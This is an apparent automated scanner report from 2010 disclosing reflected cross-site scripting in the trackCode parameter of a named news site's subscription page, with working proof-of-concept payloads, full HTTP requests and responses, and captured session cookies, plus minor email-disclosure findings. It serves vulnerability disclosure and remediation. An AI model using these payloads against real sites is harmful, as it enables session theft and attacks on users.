Report generated by XSS.CX at Wed Nov 24 20:00:31 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. https://buy.wsj.com/shopandbuy/order/subscribe.jsp [trackCode parameter]

1.2. https://buy.wsj.com/shopandbuy/order/subscribe.jsp [trackCode parameter]

2. Email addresses disclosed

2.1. https://buy.wsj.com/static-contents/common/js/jquery.validate.js

2.2. https://buy.wsj.com/static-contents/shopandbuy/js/shopandbuy.js

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/shopandbuy/order/subscribe.jsp [trackCode parameter]
/shopandbuy/order/subscribe.jsp [trackCode parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://buy.wsj.com/shopandbuy/order/subscribe.jsp [trackCode parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://buy.wsj.com
Path:	/shopandbuy/order/subscribe.jsp

Issue detail

The value of the trackCode request parameter is copied into an HTML comment. The payload acae8--><script>alert(1)</script>9dc458b12cd was submitted in the trackCode parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopandbuy/order/subscribe.jsp?trackCode=aaabt0gsacae8--><script>alert(1)</script>9dc458b12cd HTTP/1.1
Host: buy.wsj.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 24 Nov 2010 01:16:41 GMT
Server: Apache
Set-Cookie: djcs_route=e32e371d-d21f-4b4c-bf2b-d4fd48486e51; domain=.wsj.com; path=/; Expires=Fri Nov 20 20:16:41 2020; max-age=315360000
X-Powered-By: Servlet 2.4; JBoss-4.2.0.GA (build: SVNTag=JBPAPP_4_2_0_GA date=200706281411)/Tomcat-5.5
Set-Cookie: JSESSIONID=6281EEA763097321A282A1B93FADDE7C.prod5; Path=/; Secure
X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xIFsgRFBTTGljZW5zZS8wIEIyQ0xpY2Vuc2UvMCAgXQ==
Pragma: no-cache
Cache-Control: no-cache
Expires: Tue, 04 Dec 1993 21:29:02 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 53204

...[SNIP]...
e
caccess = free
link =
reflink =
ctype= marketing and support
apage = DWSJN_Commerce_offerPage_pId:1000019_layout:singleOffer
userid =
asub = WSJ_free
currencyCode = USD

eVar2 = aaabt0gsacae8--><script>alert(1)</script>9dc458b12cd // trackCode
eVar3 = <JS cookie'd>
...[SNIP]...

1.2. https://buy.wsj.com/shopandbuy/order/subscribe.jsp [trackCode parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://buy.wsj.com
Path:	/shopandbuy/order/subscribe.jsp

Issue detail

The value of the trackCode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d52f0"%3balert(1)//cd72fd82a4f was submitted in the trackCode parameter. This input was echoed as d52f0";alert(1)//cd72fd82a4f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopandbuy/order/subscribe.jsp?trackCode=aaabt0gsd52f0"%3balert(1)//cd72fd82a4f HTTP/1.1
Host: buy.wsj.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 24 Nov 2010 01:16:39 GMT
Server: Apache
Set-Cookie: djcs_route=bcb24ec3-95de-4980-9687-6cb81eabe5a7; domain=.wsj.com; path=/; Expires=Fri Nov 20 20:16:39 2020; max-age=315360000
X-Powered-By: Servlet 2.4; JBoss-4.2.0.GA (build: SVNTag=JBPAPP_4_2_0_GA date=200706281411)/Tomcat-5.5
Set-Cookie: JSESSIONID=180240708F7346717CC9FA4182CFC3A4.prod1; Path=/; Secure
X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xIFsgRFBTTGljZW5zZS8wIEIyQ0xpY2Vuc2UvMCAgXQ==
Pragma: no-cache
Cache-Control: no-cache
Expires: Tue, 04 Dec 1993 21:29:02 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 53172

...[SNIP]...
+s.pageName;
}

// EVENTS section

s.events=s.events?s.events+",event12":"event12";

s.events += ",prodView,event51,event52";

// EVARS section

s.eVar2 = "aaabt0gsd52f0";alert(1)//cd72fd82a4f";
s.eVar3 = "";
s.eVar4 = "DWSJN_Commerce_offerPage_pId:1000019_layout:singleOffer";

s.eVar11 = "DWSJN Commerce";
s.eVar25 = "DWSJN_Commerce_Registration";

s.eVar34 = "rtd1000011";

...[SNIP]...

2. Email addresses disclosed previous
There are 2 instances of this issue:

/static-contents/common/js/jquery.validate.js
/static-contents/shopandbuy/js/shopandbuy.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

2.1. https://buy.wsj.com/static-contents/common/js/jquery.validate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://buy.wsj.com
Path:	/static-contents/common/js/jquery.validate.js

Issue detail

The following email address was disclosed in the response:

youraddress@email.com

Request

GET /static-contents/common/js/jquery.validate.js HTTP/1.1
Host: buy.wsj.com
Connection: keep-alive
Referer: https://buy.wsj.com/shopandbuy/order/subscribe.jsp?trackCode=aaabt0gsacae8--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9dc458b12cd
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_dbfe=1287608819041; rsi_csl=lA; rsi_segs=G07608_10001; __qca=P0-1537275794-1290208876267; s_vnum=1292800819978%26vn%3D2; s_invisit=true; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2207%22%2C%22high%22%3A%5B%2251%22%5D%2C%22low%22%3A%5B%2235%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherCode%3D10005%7C%7CweatherExpire%3DThu%2C%2025%20Nov%202010%2001%3A46%3A53%20GMT%7C%7CweatherUser%3D; djcs_route=ef3a6921-797c-4f42-8c70-388315a95a6e; JSESSIONID=15EE67A5D750FC13A004CB70278E5ADA.prod3

Response

HTTP/1.1 200 OK
Date: Thu, 25 Nov 2010 00:57:08 GMT
Server: Apache
Last-Modified: Wed, 03 Nov 2010 12:24:11 GMT
ETag: "8f6c-1e5db0c0"
Accept-Ranges: bytes
Content-Length: 36716
Cache-Control: max-age=21600
Expires: Thu, 25 Nov 2010 06:57:08 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: application/x-javascript

/*
* jQuery validation plug-in 1.5.5
*
* http://bassistance.de/jquery-plugins/jquery-plugin-validation/
* http://docs.jquery.com/Plugins/Validation
*
* Copyright (c) 2006 - 2008 J..rn Zaefferer

...[SNIP]...
settings) {
       $.extend( $.validator.defaults, settings );
   },

   messages: {
       required: "This field is required.",
       remote: "Please fix this field.",
       email: "Your Email Address must be formatted as youraddress@email.com and cannot contain any spaces.",
       url: "Please enter a valid URL.",
       date: "Please enter a valid date.",
       dateISO: "Please enter a valid date (ISO).",
       dateDE: "Bitte geben Sie ein g..ltiges Datum
...[SNIP]...

2.2. https://buy.wsj.com/static-contents/shopandbuy/js/shopandbuy.js previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://buy.wsj.com
Path:	/static-contents/shopandbuy/js/shopandbuy.js

Issue detail

The following email address was disclosed in the response:

youraddress@email.com

Request

GET /static-contents/shopandbuy/js/shopandbuy.js HTTP/1.1
Host: buy.wsj.com
Connection: keep-alive
Referer: https://buy.wsj.com/shopandbuy/order/subscribe.jsp?trackCode=aaabt0gsacae8--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9dc458b12cd
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_dbfe=1287608819041; rsi_csl=lA; rsi_segs=G07608_10001; __qca=P0-1537275794-1290208876267; s_vnum=1292800819978%26vn%3D2; s_invisit=true; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2207%22%2C%22high%22%3A%5B%2251%22%5D%2C%22low%22%3A%5B%2235%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherCode%3D10005%7C%7CweatherExpire%3DThu%2C%2025%20Nov%202010%2001%3A46%3A53%20GMT%7C%7CweatherUser%3D; djcs_route=ef3a6921-797c-4f42-8c70-388315a95a6e; JSESSIONID=15EE67A5D750FC13A004CB70278E5ADA.prod3

Response

HTTP/1.1 200 OK
Date: Thu, 25 Nov 2010 00:57:09 GMT
Server: Apache
Last-Modified: Wed, 03 Nov 2010 12:24:14 GMT
ETag: "3a18-1e8b7780"
Accept-Ranges: bytes
Content-Length: 14872
Cache-Control: max-age=21600
Expires: Thu, 25 Nov 2010 06:57:09 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: application/x-javascript

/* GLOBAL JQUERY FUNCTIONS */
$(document).ready(function(){

   $('.more_details').each(function() {
       var _target = $(this).children('a, .detail_box');
       var _displayElem = $(this).children('.detail_bo
...[SNIP]...
rs",
                   minlength: "Your Email Address must be contain at least 5 characters",
                   maxlength: "Your Email Address may not exceed 100 characters",
                   mail: "Your Email Address must be formatted as youraddress@email.com and cannot contain any spaces"
               },
               confirm_email: {
                   equalTo: "The two Email Addresses do not match"
               },
               question: "You must select a Security Question",
               answer: {
                   required:
...[SNIP]...

Report generated by XSS.CX at Wed Nov 24 20:00:31 CST 2010.